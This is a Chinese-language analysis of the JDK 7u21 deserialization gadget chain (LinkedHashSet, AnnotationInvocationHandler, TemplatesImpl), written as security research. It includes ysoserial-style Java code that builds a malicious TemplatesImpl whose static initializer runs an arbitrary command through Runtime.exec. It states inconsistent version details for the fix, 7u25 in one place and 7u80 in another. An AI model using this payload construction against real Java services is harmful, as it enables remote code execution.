JDK反序列化Gadgets 7u21漏洞分析与利用
前言
JDK 7u21反序列化漏洞是一个经典的Java反序列化利用链,影响JDK 7u25之前的版本。该漏洞利用链中的所有类都是JDK自带的,最终关键类是com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl。本文将详细分析该漏洞的原理、利用条件以及完整的利用链构造过程。
漏洞原理
核心触发点
漏洞的核心触发点是TemplatesImpl类的getOutputProperties()方法,该方法会最终导致恶意代码执行:
public synchronized Properties getOutputProperties() {
try {
return newTransformer().getOutputProperties();
}
catch (TransformerConfigurationException e) {
return null;
}
}
调用栈如下:
getOutputProperties()
-> newTransformer()
-> getTransletInstance()
-> defineTransletClasses()
-> _class[_transletIndex].newInstance()
恶意TemplatesImpl类的构造条件
要构造一个恶意的TemplatesImpl类,需要满足以下条件:
TemplatesImpl类的_name变量 != nullTemplatesImpl类的_class变量 == nullTemplatesImpl类的_bytecodes变量 != nullTemplatesImpl类的_tfactory需要是一个拥有getExternalExtensionsMap()方法的类(使用JDK自带的TransformerFactoryImpl类)_bytecodes中的类必须是com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet的子类- 恶意代码需要写在
_bytecodes变量对应类的静态方法或构造方法中
POC构造
使用Javassist动态构造恶意类:
public static TemplatesImpl createTemplatesImpl(final String command) throws Exception {
final TemplatesImpl templates = new TemplatesImpl();
// 1. 使用自定义的恶意模板类StubTransletPayload
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
final CtClass clazz = pool.get(StubTransletPayload.class.getName());
// 2. 在恶意类中添加静态模块
clazz.makeClassInitializer()
.insertAfter("java.lang.Runtime.getRuntime().exec(\""
+ command.replaceAll("\"", "\\\"")
+ "\");");
// 3. 设置唯一类名
clazz.setName("ysoserial.Pwner" + System.nanoTime());
// 4. 转换为字节码
final byte[] classBytes = clazz.toBytecode();
// 5. 设置_bytecodes字段
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
classBytes,
ClassFiles.classAsBytes(Foo.class)});
// 6. 设置_name字段
Reflections.setFieldValue(templates, "_name", "Pwnr");
// 7. 设置_tfactory字段
Reflections.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
return templates;
}
利用链延伸
动态代理与AnnotationInvocationHandler
为了将漏洞触发点与反序列化入口连接起来,需要使用动态代理和AnnotationInvocationHandler:
AnnotationInvocationHandler实现了InvocationHandler接口,可以作为动态代理的拦截器- 当调用代理对象的任何方法时,都会先进入
AnnotationInvocationHandler.invoke()方法 - 特别关注
equals()方法的处理,它会调用equalsImpl()方法
public Object invoke(Object var1, Method var2, Object[] var3) {
String var4 = var2.getName();
Class[] var5 = var2.getParameterTypes();
if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
return this.equalsImpl(var3[0]);
}
// ...
}
equalsImpl方法分析
equalsImpl()方法会根据this.type类中的方法去遍历调用传入对象中的所有对应的方法:
private Boolean equalsImpl(Object var1) {
// ...
Method[] var2 = this.getMemberMethods();
for(int var4 = 0; var4 < var3; ++var4) {
Method var5 = var2[var4];
// ...
var8 = var5.invoke(var1); // 关键调用点
// ...
}
// ...
}
因此,我们可以:
- 构造
AnnotationInvocationHandler,设置this.type = Templates.class - 创建代理对象
- 调用代理对象的
equals()方法,传入恶意TemplatesImpl对象 equalsImpl()会调用TemplatesImpl.newTransformer()方法,触发漏洞
LinkedHashSet连接反序列化入口
为了从反序列化入口连接到equals()调用,使用LinkedHashSet:
LinkedHashSet在反序列化时会调用put()方法添加元素put()方法会调用equals()方法比较元素- 通过精心构造两个元素的
LinkedHashSet,确保比较顺序正确
关键点:
- 需要保证两个元素的hash值相同,才能进入
equals()比较 - 通过
AnnotationInvocationHandler.hashCodeImpl()控制hash值
private int hashCodeImpl() {
int var1 = 0;
for(Entry var3 : this.memberValues.entrySet()) {
var1 += 127 * var3.getKey().hashCode() ^ memberValueHashCode(var3.getValue());
}
return var1;
}
通过选择特殊的key(如"f5a5a608"或空字符串""),其hashCode为0,可以使得:
hashCode = 127 * 0 ^ TemplatesImpl_hashCode = TemplatesImpl_hashCode
完整利用链
- 反序列化
LinkedHashSet LinkedHashSet.readObject()反序列化元素并调用put()put()方法比较元素时调用equals()equals()进入AnnotationInvocationHandler.invoke()invoke()调用equalsImpl()equalsImpl()遍历调用Templates接口方法- 调用
TemplatesImpl.newTransformer() newTransformer()调用getTransletInstance()getTransletInstance()加载并实例化恶意类- 恶意类静态代码块或构造函数中的代码被执行
修复情况
在JDK 7u80及更高版本中,AnnotationInvocationHandler构造函数增加了校验:
AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
Class[] var3 = var1.getInterfaces();
if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
this.type = var1;
this.memberValues = var2;
} else {
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
}
}
这使得在高版本中无法直接使用Templates.class作为this.type,从而阻断了利用链。
其他触发点
除了JDK自带的TemplatesImpl类外,第三方库xalan(2.7.2版本)中也存在类似的类org.apache.xalan.xsltc.trax.TemplatesImpl,可以作为替代触发点,扩大了攻击面。
总结
JDK 7u21反序列化漏洞利用链展示了Java反序列化漏洞的复杂性,涉及:
- 动态类加载与字节码操作
- Java动态代理机制
- 集合类的反序列化过程
- Hash算法与equals方法的巧妙利用
这个漏洞虽然已被修复,但其利用思路对理解Java反序列化漏洞具有重要意义。